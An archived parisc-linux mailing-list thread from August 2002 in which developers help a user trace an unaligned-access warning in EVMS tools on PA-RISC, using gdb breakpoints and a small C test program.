Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 29 Aug 2002 11:51:36 +0200
In-Reply-To: <3D53B3B700008549@ocpmta1.be.tiscali.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15932

Hey,

I am lucky.

A ^C during a run and I got:
^C
Program received signal SIGINT, Interrupt.
0x4020a0e4 in isa_null_partition_record (p=0x3fe0ff) at checks.c:65
/usr/src/EVMS/evms-1.0.1/engine/Plugins/defsegmgr/checks.c:65:1603:beg:0x4020a0e4

where I find:
     60 BOOLEAN isa_null_partition_record(struct partition *p)
     61 {
     62     int          i;
     63     u_int32_t   *uip = (u_int32_t *) p;
     64
     65     for (i=0; i<4; i++) {
     66         if (*uip!=0x00) return FALSE;
     67     }
     68
     69     return TRUE;
     70 }

So am I right to suspect "u_int32_t   *uip = (u_int32_t *) p;" being the
actual cause of 'unaligned access' problem?

Thanks in advance for additionnal comments,
  Joel

>-- Original Message --
>From: jsoe0708@tiscali.be
>To: parisc-linux@lists.parisc-linux.org
>Subject: [parisc-linux] Back to evms-1.0.1 && unaligne access && gdb
>Date: Thu, 29 Aug 2002 11:22:45 +0200
>
>
>Hi all,
>
>I need to go back to kernel 2.4.18-pa61 and evms-1.0.1 (see problem in ml:
>http://lists.parisc-linux.org/pipermail/parisc-linux/2002-August/017368.html
>with last 1.1.0 evsm release)
>
>Kernel build and operate correctly. I so recompile tools with -ggdb gcc
>option.
>Then I use ddd to try to debug problem.
>
>So I first run without break and got from console:
>evms_vgscan(7998): unaligned access to 0x0002aaae at ip=0x4020a0e3
>
>So I put a break early in main (Ok), relaunch run and try now to insert
>a breack in gdb window:
>b *0x4020a0e3
>
>Accepted but when 'continue' is launch:
>warning: Cannot insert breakpoint 2:
>Cannot access memory at address 0x4020a0e3
>
>What do I wrong or what should I better do?
>
>Thanks in advance for help,
>    Joel
>
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:24:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Back to evms-1.0.1 && unaligne access && gdb
Date: Thu, 29 Aug 2002 08:42:43 -0400
Lines: 34
Approved: news@gmane.org
Message-ID: <20020829124243.GB5456@systemhalted>
References: <3D53B3B700008549@ocpmta1.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621657 13012 80.91.229.3 (22 Nov 2014 02:00:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 29 06:45:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id C5C6D4829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 29 Aug 2002 06:45:00 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17kOdH-0001Yd-00; Thu, 29 Aug 2002 08:42:43 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	jsoe0708@tiscali.be, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <3D53B3B700008549@ocpmta1.be.tiscali.com>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (83% Sync Ratio [========..])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15933

Joel,

> I need to go back to kernel 2.4.18-pa61 and evms-1.0.1 (see problem in ml:
> http://lists.parisc-linux.org/pipermail/parisc-linux/2002-August/017368.html
> with last 1.1.0 evsm release)

Why do you need to regress versions?
 
> Kernel build and operate correctly. I so recompile tools with -ggdb gcc
> option. Then I use ddd to try to debug problem.

What did you recompile with "-g"?

> So I first run without break and got from console:
> evms_vgscan(7998): unaligned access to 0x0002aaae at ip=0x4020a0e3

The unaligned handler took care of it, everything should still
be okay.

> Accepted but when 'continue' is launch:
> warning: Cannot insert breakpoint 2:
> Cannot access memory at address 0x4020a0e3
> What do I wrong or what should I better do?

AFAIK we are using software breakpoints in gdb, which means that
at certain times we _can't_ insert a breakpoint. 

I'm still unclear about the issues here. What's wrong with evms?
It dies from a SIGBUS (unaligned handler failed)? SIGSEGV? 
Operates incorrectly?

c.
 


From - Thu Nov 08 21:24:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Back to evms-1.0.1 && unaligne access && gdb
Date: Thu, 29 Aug 2002 15:56:29 +0200
Lines: 67
Approved: news@gmane.org
Message-ID: <3D53B3B70000883F@ocpmta1.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621657 13015 80.91.229.3 (22 Nov 2014 02:00:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 29 07:57:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1348F4829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 29 Aug 2002 07:57:13 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 29 Aug 2002 15:56:29 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15934

Hi Carlos,

>
>Joel,
>
>> I need to go back to kernel 2.4.18-pa61 and evms-1.0.1 (see problem in
>ml:
>> http://lists.parisc-linux.org/pipermail/parisc-linux/2002-August/017368.html
>> with last 1.1.0 evsm release)
>
>Why do you need to regress versions?
Because:
"To investigate in more details the 'unalign access' problem I met with
evms,
I need first to upgrade to evms-1.1.0 with kernel 2.4.19.

After this upgrade, all evms tools failled and I got folowing kernel message
at the console:
kernel BUG at blkpg.c:252!
evms: ldev_mgr: error(-28): creating logical disk for device(8,0)."

The willy answer:
"Aw, crap.  It now seems to be `legal' to put_user a 64-bit argument on
a
32-bit system.  Someone needs to fix this in include/asm-parisc/uaccess.h"

But I am not able ($&##?? asm) to do.

>
>> Kernel build and operate correctly. I so recompile tools with -ggdb gcc
>> option. Then I use ddd to try to debug problem.
>
>What did you recompile with "-g"?

All evms tools and libs (from tarball the 'configure' the -g is a default,
I just add gdb)

>
>> So I first run without break and got from console:
>> evms_vgscan(7998): unaligned access to 0x0002aaae at ip=0x4020a0e3
>
>The unaligned handler took care of it, everything should still
>be okay.
>
>> Accepted but when 'continue' is launch:
>> warning: Cannot insert breakpoint 2:
>> Cannot access memory at address 0x4020a0e3
>> What do I wrong or what should I better do?
>
>AFAIK we are using software breakpoints in gdb, which means that
>at certain times we _can't_ insert a breakpoint.
>
>I'm still unclear about the issues here. What's wrong with evms?
>It dies from a SIGBUS (unaligned handler failed)? SIGSEGV?
>Operates incorrectly?

First of all I would like to be sure it is absolutley harmless.
Secondly it also seems (to be verify [*]) to awfully slowing down evms management
tools.
Thanks for your attention,
    Joel

PS: [*] another lvm tool is the Sistina release which did not present this
kind of 'unaligne access' and has a behaviour nearly the same as on my i386
box on which I also test the two tools.



From - Thu Nov 08 21:24:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Back to evms-1.0.1 && unaligne access && gdb
Date: Thu, 29 Aug 2002 10:11:28 -0400 (EDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <200208291411.g7TEBSpG023843@hiauly1.hia.nrc.ca>
References: <3D53B3B700008549@ocpmta1.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621657 13027 80.91.229.3 (22 Nov 2014 02:00:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 29 08:11:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id A2F194829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 29 Aug 2002 08:11:32 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g7TEBU00023845;
	Thu, 29 Aug 2002 10:11:30 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g7TEBSpG023843;
	Thu, 29 Aug 2002 10:11:28 -0400 (EDT)
In-Reply-To: <3D53B3B700008549@ocpmta1.be.tiscali.com> from "jsoe0708@tiscali.be" at Aug 29, 2002 11:22:45 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15935

> So I put a break early in main (Ok), relaunch run and try now to insert
> a breack in gdb window:
> b *0x4020a0e3
> 
> Accepted but when 'continue' is launch:
> warning: Cannot insert breakpoint 2:
> Cannot access memory at address 0x4020a0e3
> 
> What do I wrong or what should I better do?

Nothing.  You tried to set a break in a share library that hasn't been
loaded.  I don't have a great solution but the following should work.
Export LD_BIND_NOW so that ld.so binds symbols at program startup.  Then,
put a break on main and start the program.  You should then be able to
set a break in a shared library or enable it if the above error occurred.
For example, when you hit the break at main,

  enable 2

should insert the above.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:24:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Back to evms-1.0.1 && unaligne access && gdb
Date: Thu, 29 Aug 2002 10:16:36 -0400 (EDT)
Lines: 10
Approved: news@gmane.org
Message-ID: <200208291416.g7TEGaK7023861@hiauly1.hia.nrc.ca>
References: <3D53B3B700008591@ocpmta1.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621658 13029 80.91.229.3 (22 Nov 2014 02:00:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 29 08:16:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 46C7E4829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 29 Aug 2002 08:16:40 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g7TEGb00023862;
	Thu, 29 Aug 2002 10:16:37 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g7TEGaK7023861;
	Thu, 29 Aug 2002 10:16:36 -0400 (EDT)
In-Reply-To: <3D53B3B700008591@ocpmta1.be.tiscali.com> from "jsoe0708@tiscali.be" at Aug 29, 2002 11:51:36 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15936

> So am I right to suspect "u_int32_t   *uip = (u_int32_t *) p;" being the
> actual cause of 'unaligned access' problem?

Yes, if p is not aligned, a trap will occur.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:24:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Back to evms-1.0.1 && unaligne access && gdb
Date: Thu, 29 Aug 2002 16:21:41 +0200
Lines: 164
Approved: news@gmane.org
Message-ID: <3D53B3B700008876@ocpmta1.be.tiscali.com>
References: <3D53B3B700008591@ocpmta1.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621658 13034 80.91.229.3 (22 Nov 2014 02:00:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 29 08:21:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3CD234866
	for <parisc-linux@lists.parisc-linux.org>; Thu, 29 Aug 2002 08:21:44 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 29 Aug 2002 16:21:41 +0200
In-Reply-To: <3D53B3B700008591@ocpmta1.be.tiscali.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15937

Well it does not seems to be the right place of the problem :(

I try to reproduce with the following simple C example:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>

typedef u_int8_t  BOOLEAN;

#ifndef TRUE
  #define TRUE  1
#endif
#ifndef FALSE
  #define FALSE 0
#endif

struct partition {
    unsigned char boot_ind;     /* 0x80 - active */
    unsigned char head;     /* starting head */
    unsigned char sector;       /* starting sector */
    unsigned char cyl;      /* starting cylinder */
    unsigned char sys_ind;      /* What partition type */
    unsigned char end_head;     /* end head */
    unsigned char end_sector;   /* end sector */
    unsigned char end_cyl;      /* end cylinder */
    unsigned int start_sect;    /* starting sector counting from 0 */
    unsigned int nr_sects;      /* nr of sectors in partition */
};

BOOLEAN isa_null_partition_record(struct partition *p)
{
    int          i;
    u_int32_t   *uip = (u_int32_t *) p;

    for (i=0; i<4; i++) {
        if (*uip!=0x00) return FALSE;
    }

    return TRUE;
}

int main(int argc, char * * argv, char * * env) {

    struct partition p1, p2;

    p1.boot_ind=0;
    p1.head=0;
    p1.sector=0;
    p1.cyl=0;
    p1.sys_ind=0;
    p1.end_head=0;
    p1.end_sector=0;
    p1.end_cyl=0;
    p1.start_sect=0;
    p1.nr_sects=0;
 
    printf("Is that p1 is a null partition: %u\n", isa_null_partition_record(&p1));

    p2.boot_ind=1;
    p2.head=2;
    p2.sector=3;
    p2.cyl=4;
    p2.sys_ind=5;
    p2.end_head=6;
    p2.end_sector=7;
    p2.end_cyl=8;
    p2.start_sect=9;
    p2.nr_sects=10;
 
    printf("Is that p2 is a null partition: %u\n", isa_null_partition_record(&p2));
    return 0;
}

and compile with same gcc option (i.e. gcc -ggdb -O2 -Wall -fPIC ) and the
problem is not reproduced?

Any idea?

Thanks in advance for additional advise,
    Joel

>-- Original Message --
>From: jsoe0708@tiscali.be
>Subject: RE: [parisc-linux] Back to evms-1.0.1 && unaligne access && gdb
>To: parisc-linux@lists.parisc-linux.org
>Date: Thu, 29 Aug 2002 11:51:36 +0200
>
>
>Hey,
>
>I am lucky.
>
>A ^C during a run and I got:
>^C
>Program received signal SIGINT, Interrupt.
>0x4020a0e4 in isa_null_partition_record (p=0x3fe0ff) at checks.c:65
>/usr/src/EVMS/evms-1.0.1/engine/Plugins/defsegmgr/checks.c:65:1603:beg:0x4020a0e4
>
>where I find:
>     60 BOOLEAN isa_null_partition_record(struct partition *p)
>     61 {
>     62     int          i;
>     63     u_int32_t   *uip = (u_int32_t *) p;
>     64
>     65     for (i=0; i<4; i++) {
>     66         if (*uip!=0x00) return FALSE;
>     67     }
>     68
>     69     return TRUE;
>     70 }
>
>So am I right to suspect "u_int32_t   *uip = (u_int32_t *) p;" being the
>actual cause of 'unaligned access' problem?
>
>Thanks in advance for additionnal comments,
>  Joel
>
>>-- Original Message --
>>From: jsoe0708@tiscali.be
>>To: parisc-linux@lists.parisc-linux.org
>>Subject: [parisc-linux] Back to evms-1.0.1 && unaligne access && gdb
>>Date: Thu, 29 Aug 2002 11:22:45 +0200
>>
>>
>>Hi all,
>>
>>I need to go back to kernel 2.4.18-pa61 and evms-1.0.1 (see problem in
ml:
>>http://lists.parisc-linux.org/pipermail/parisc-linux/2002-August/017368.html
>>with last 1.1.0 evsm release)
>>
>>Kernel build and operate correctly. I so recompile tools with -ggdb gcc
>>option.
>>Then I use ddd to try to debug problem.
>>
>>So I first run without break and got from console:
>>evms_vgscan(7998): unaligned access to 0x0002aaae at ip=0x4020a0e3
>>
>>So I put a break early in main (Ok), relaunch run and try now to insert
>>a breack in gdb window:
>>b *0x4020a0e3
>>
>>Accepted but when 'continue' is launch:
>>warning: Cannot insert breakpoint 2:
>>Cannot access memory at address 0x4020a0e3
>>
>>What do I wrong or what should I better do?
>>
>>Thanks in advance for help,
>>    Joel
>>
>>
>>_______________________________________________
>>parisc-linux mailing list
>>parisc-linux@lists.parisc-linux.org
>>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:24:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Back to evms-1.0.1 && unaligne access && gdb
Date: Thu, 29 Aug 2002 10:28:48 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <200208291428.g7TESm9l024111@hiauly1.hia.nrc.ca>
References: <3D53B3B700008876@ocpmta1.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621658 13036 80.91.229.3 (22 Nov 2014 02:00:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 29 08:29:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 94A574866
	for <parisc-linux@lists.parisc-linux.org>; Thu, 29 Aug 2002 08:28:52 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g7TESn00024112
	for <parisc-linux@lists.parisc-linux.org>; Thu, 29 Aug 2002 10:28:50 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g7TESm9l024111;
	Thu, 29 Aug 2002 10:28:48 -0400 (EDT)
In-Reply-To: <3D53B3B700008876@ocpmta1.be.tiscali.com> from "jsoe0708@tiscali.be" at Aug 29, 2002 04:21:41 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15938

> >Program received signal SIGINT, Interrupt.
> >0x4020a0e4 in isa_null_partition_record (p=0x3fe0ff) at checks.c:65

You can see from the value of p above that it is not properly aligned
for a 4 byte access.  Put a break on isa_null_partition_record and

cond n p==0x3fe0ff

where n is the breakpoint number of the break at isa_null_partition_record.
Then, run the program and it should stop at isa_null_partition_record
when the fault is about to occur.  You will then have to do a bt to
determine why p is incorrectly aligned (last hex digit should be 0,
4, 8 or c).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:24:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Schmitt <chris.81@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Harmony on 710 working?
Date: Thu, 29 Aug 2002 15:45:47 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <3D6E258B.6010600@gmx.de>
References: <3D6CDF5A.5090205@gmx.de> <200208281906.14844.helge.deller@sap.com>
Reply-To: christian@familieschmitt.de
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621659 13042 80.91.229.3 (22 Nov 2014 02:00:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:59 +0000 (UTC)
To: Helge Deller <helge.deller@sap.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 29 08:31:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id E92D14865
	for <parisc-linux@lists.parisc-linux.org>; Thu, 29 Aug 2002 08:31:10 -0600 (MDT)
Original-Received: (qmail 5907 invoked by uid 0); 29 Aug 2002 14:31:08 -0000
Original-Received: from pec-96-216.tnt7.f.uunet.de (HELO gmx.de) (149.225.96.216)
  by mail.gmx.net (mp002-rz3) with SMTP; 29 Aug 2002 14:31:08 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020529
X-Accept-Language: de, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
